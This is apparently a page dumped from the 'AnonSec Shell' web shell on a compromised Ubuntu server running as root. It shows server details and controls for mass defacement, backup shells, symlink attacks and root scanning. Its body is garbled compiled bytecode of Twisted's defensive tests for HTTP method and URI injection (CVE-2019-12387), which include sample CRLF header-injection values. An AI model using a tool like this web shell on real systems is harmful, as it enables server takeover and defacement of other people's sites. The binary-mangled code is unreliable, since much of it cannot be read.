AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/web/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/web/test/__pycache__/injectionhelpers.cpython-310.pyc
o

�b��@sXdZddlZeedd��eeejd��Zeedd��ZGdd�d�ZGdd	�d	�Z	dS)
zF
Helpers for URI and method injection tests.

@see: U{CVE-2019-12387}
�N��ascii�c@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�MethodInjectionTestsMixina9
    A mixin that runs HTTP method injection tests.  Define
    L{MethodInjectionTestsMixin.attemptRequestWithMaliciousMethod} in
    a L{twisted.trial.unittest.SynchronousTestCase} subclass to test
    how HTTP client code behaves when presented with malicious HTTP
    methods.

    @see: U{CVE-2019-12387}
    cC�t��)z�
        Attempt to send a request with the given method.  This should
        synchronously raise a L{ValueError} if either is invalid.

        @param method: the method (e.g. C{GET})

        @param uri: the URI

        @type method:
        ��NotImplementedError��self�method�r�C/usr/lib/python3/dist-packages/twisted/web/test/injectionhelpers.py�!attemptRequestWithMaliciousMethodsz;MethodInjectionTestsMixin.attemptRequestWithMaliciousMethodcC�N|�t��}d}|�|�Wd�n1swY|�t|j�d�dS)z�
        Issuing a request with a method that contains a carriage
        return and line feed fails with a L{ValueError}.
        sGET
X-Injected-Header: valueN�^Invalid method)�assertRaises�
ValueErrorr�assertRegex�str�	exception)r
�cmrrrr
�test_methodWithCLRFRejected(�
�z5MethodInjectionTestsMixin.test_methodWithCLRFRejectedc	C�dtD]-}dt|g�f}|�t��
}|�|�Wd�n1s!wY|�t|j�d�qdS)z�
        Issuing a request with a method that contains unprintable
        ASCII characters fails with a L{ValueError}.
        �GET%sNr)�UNPRINTABLE_ASCII�	bytearrayrrrrrr�r
�crrrrr
�'test_methodWithUnprintableASCIIRejected2���zAMethodInjectionTestsMixin.test_methodWithUnprintableASCIIRejectedc	Cr)zx
        Issuing a request with a method that contains non-ASCII
        characters fails with a L{ValueError}.
        rNr)�NONASCIIrrrrrrrrrrr
�test_methodWithNonASCIIRejected=r z9MethodInjectionTestsMixin.test_methodWithNonASCIIRejectedN)�__name__�
__module__�__qualname__�__doc__rrrr"rrrr
rs


rc@sHeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dS)�URIInjectionTestsMixina
    A mixin that runs HTTP URI injection tests.  Define
    L{MethodInjectionTestsMixin.attemptRequestWithMaliciousURI} in a
    L{twisted.trial.unittest.SynchronousTestCase} subclass to test how
    HTTP client code behaves when presented with malicious HTTP
    URIs.
    cCr)z�
        Attempt to send a request with the given URI.  This should
        synchronously raise a L{ValueError} if either is invalid.

        @param uri: the URI.

        @type method:
        rr	rrr
�attemptRequestWithMaliciousURIRs	z5URIInjectionTestsMixin.attemptRequestWithMaliciousURIcCr)z�
        Issuing a request with a URI whose host contains a carriage
        return and line feed fails with a L{ValueError}.
        shttp://twisted
.invalid/pathN�^Invalid URI�rrr(rrr�r
r�urirrr
�test_hostWithCRLFRejected]rz0URIInjectionTestsMixin.test_hostWithCRLFRejectedc	Cr)z�
        Issuing a request with a URI whose host contains unprintable
        ASCII characters fails with a L{ValueError}.
        �http://twisted%s.invalid/OKNr)�rrrrr(rrr�r
rr,rrrr
�)test_hostWithWithUnprintableASCIIRejectedgr z@URIInjectionTestsMixin.test_hostWithWithUnprintableASCIIRejectedc	Cr)z{
        Issuing a request with a URI whose host contains non-ASCII
        characters fails with a L{ValueError}.
        r.Nr)�r!rrrr(rrrr0rrr
�test_hostWithNonASCIIRejectedrr z4URIInjectionTestsMixin.test_hostWithNonASCIIRejectedcCr)z�
        Issuing a request with a URI whose path contains a carriage
        return and line feed fails with a L{ValueError}.
        shttp://twisted.invalid/
pathNr)r*r+rrr
�test_pathWithCRLFRejected}rz0URIInjectionTestsMixin.test_pathWithCRLFRejectedc	Cr)z�
        Issuing a request with a URI whose path contains unprintable
        ASCII characters fails with a L{ValueError}.
        �http://twisted.invalid/OK%sNr)r/r0rrr
�)test_pathWithWithUnprintableASCIIRejected�r z@URIInjectionTestsMixin.test_pathWithWithUnprintableASCIIRejectedc	Cr)z{
        Issuing a request with a URI whose path contains non-ASCII
        characters fails with a L{ValueError}.
        r5Nr)r2r0rrr
�test_pathWithNonASCIIRejected�r z4URIInjectionTestsMixin.test_pathWithNonASCIIRejectedN)r#r$r%r&r(r-r1r3r4r6r7rrrr
r'Is

r')
r&�string�	frozenset�ranger�	printablerr!rr'rrrr
�<module>s
�9

Anon7 - 2022
AnonSec Team